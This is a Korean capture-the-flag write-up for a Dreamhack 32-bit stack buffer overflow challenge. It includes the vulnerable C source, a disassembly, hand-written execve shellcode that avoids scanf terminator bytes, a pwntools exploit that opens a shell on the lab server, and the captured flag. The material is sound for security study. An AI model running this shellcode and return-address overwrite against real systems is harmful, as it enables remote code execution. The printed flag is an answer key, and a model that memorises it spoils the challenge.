읽기 안내
Dreamhack의 개인 문제 풀이 기록입니다. 원문에 남아 있는 실습 주소·플래그와 실패·미완료 결과를 그대로 보존했습니다.
환경

- i386 아키텍처 -> 32bit 환경 확인.
- RELO 보호기법 미적용
- canary 보호기법 미적용
- NX 보호기법 미적용
- PIE 보호기법 미적용
실습 코드
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initalize() {
setvbuf(stdin, NULL, _IOBNF, 0);
setvbuf(stdout, NULL, _IOBNF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
int main(int argc, char *argv[]) {
char buf[0x80];
initialize();
printf("buf = (%p)\\n", buf);
scanf("%141s", buf);
return 0;
}
분석
1. 취약점 분석
- main 함수에 0x80 크기의 char형 배열 선언.
printf()함수로 buf 배열의 주소를 출력해주고 있고,scanf()함수로 141bytes만큼 입력받아buf에 저장한다.buf의 길이는0x80(128 bytes)이지만scanf로 받을 수 있는 길이는141 bytes로 이 부분에 버퍼 오버플로우 공격을 할 수 있다. 소스코드에서 get_shell() 함수가 따로 없어서 execve() 셸 코드를 이용하여 /bin/bash 셸을 따내는 코드를 작성하면 된다.

dreamhack에서 할당받은 주소로 들어가면 어느 주소에 값을 넣으면 되는지 알려준다.
2. scanf() 26bytes 우회 셸 코드
32bit 환경이기 때문에 64bit 환경의 호출 규약과 다르니 이 점을 생각해서 셸 코드를 작성해야한다.
scanf()는 공백, 탭, 개행 3가지 중 하나만 나와도 종료가 된다. 그렇기 때문에 우리는 쉘 코드 작성 시 저 3가지가 안 들어가도록 주의해야한다.

출처
ASCII 코드 값을 보면 0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x20이 오면 입력받는 것을 종료한다.
32bit 아키텍처에서는 execve() 시스템 콜 값이 **0x0b**다.
0x0b는 ASCII 코드에서는 Vertical Tab이므로 0x0b값 뒤에 오는 값들은 싹 무시하고 종료된다.
작성된 셸 코드는 다음과 같다.
\\x31\\xc0\\x50\\x68\\x6e\\x2f\\x73\\x68\\x68\\x2f\\x2f\\x62\\x69\\x89\\xe3\\x31\\xc9\\x31\\xd2\\xb0\\x08\\x40\\x40\\x40\\xcd\\x80
3. 익스플로잇
스택 프레임 구조 파악

pwndbg> disass main
Dump of assembler code for function main:
0x080485d9 <+0>: push ebp
0x080485da <+1>: mov ebp,esp
0x080485dc <+3>: add esp,0xffffff80
0x080485df <+6>: call 0x8048592 <initialize>
0x080485e4 <+11>: lea eax,[ebp-0x80]
0x080485e7 <+14>: push eax
0x080485e8 <+15>: push 0x8048699
0x080485ed <+20>: call 0x80483f0 <printf@plt>
0x080485f2 <+25>: add esp,0x8
0x080485f5 <+28>: lea eax,[ebp-0x80]
0x080485f8 <+31>: push eax
0x080485f9 <+32>: push 0x80486a5
0x080485fe <+37>: call 0x8048460 <__isoc99_scanf@plt>
0x08048603 <+42>: add esp,0x8
0x08048606 <+45>: mov eax,0x0
0x0804860b <+50>: leave
0x0804860c <+51>: ret
End of assembler dump.
disass main 명령어로 main 함수를 확인해 보면 레지스터들이 32비트 기반으로 구성되어있는 것을 볼 수 있다.
익스플로잇 코드
from pwn import *
p = remote("host3.dreamhack.games", 22788)
p.recvuntil('buf = (')
buf_addr = int(p.recv(10), 16)
# scanf() 우회 shellcode
shellcode = b"\\x31\\xc0\\x50\\x68\\x6e\\x2f\\x73\\x68\\x68\\x2f\\x2f\\x62\\x69\\x89\\xe3\\x31\\xc9\\x31\\xd2\\xb0\\x08\\x40\\x40\\x40\\xcd\\x80"
payload = shellcode + b'A' * (0x84 - len(shellcode)) + p32(buf_addr)
p.send(payload)
p.interactive()
코드 설명
p.recvuntil('buf = (')
소켓에서 데이터를 읽어들이되, 인자로 전달된 buf = ( 라는 문자열이 나타날 때까지 계속 수신한다.
이 문자열이 수신되면, 함수는 그 지점까지의 모든 데이터를 포함하여 반환하고, 데이터 수신을 중단한다.
이 코드를 사용하는 이유는 서버가 메모리 버퍼의 주소를 전달하기 전에 특정 문자열을 보내고 이를 기준으로 하여 메모리 주소를 식별하려는 것이다.
이 문자열을 수신함으로써, 클라이언트는 메모리 주소 정보가 시작되는 지점을 정확히 알 수 있다.
buf_addr = int(p.recv(10), 16)
서버로부터 수신된 데이터를 처리하여 메모리 주소를 정수 형태로 변환하는 과정이다.
10바이트를 서버로부터 불러온다. 그럼 왜 하필 10bytes 일까?
대부분의 메모리 주소는 0x???????? 의 형태로 총 10글자다.
recv(10) 함수는 메모리 주소를 포함한 10바이트의 데이터를 수신하도록 설정된 것이다. 이는 주소 문자열 전체를 포함하기 위한 것이며, 실제 주소 값을 이진 데이터로 다루는 것이 아니라 텍스트 형식으로 처리하기 때문이다.
payload = shellcode + b'A' * (0x84 - len(shellcode)) + p32(buf_addr)
셸 코드 뒤에 'A' 문자를 반복하여 0x84 - len(shellcode) 수치만큼 셸 코드와 실제 버퍼 사이를 채워 넣어, 버퍼의 나머지 부분을 일정하게 만든다.
p32 함수는 주어진 메모리 주소를 32비트 리틀엔디언 형식의 바이너리 데이터로 변환한다.
이 데이터는 페이로드의 맨 끝에 추가되어 공격 대상 시스템의 함수 반환 주소를 공격자가 원하는 새로운 주소로 덮어쓰기 위해 사용된다.
결과

DH{465dd453b2a25a26a847a93d3695676d}
작성 기록과 문제 출처
원문과 출처
풀이와 설명: MadEyE / 이선용의 개인 Notion 기록.
문제에서 제공한 코드·서비스 화면과 외부 참고자료의 권리는 해당 작성자와 플랫폼에 있습니다.
원문 본문·코드·실습 증적을 보존했으며, 원문에 포함된 외부 글은 참고 링크로 안내합니다.
이미지 원본 출처
다음 글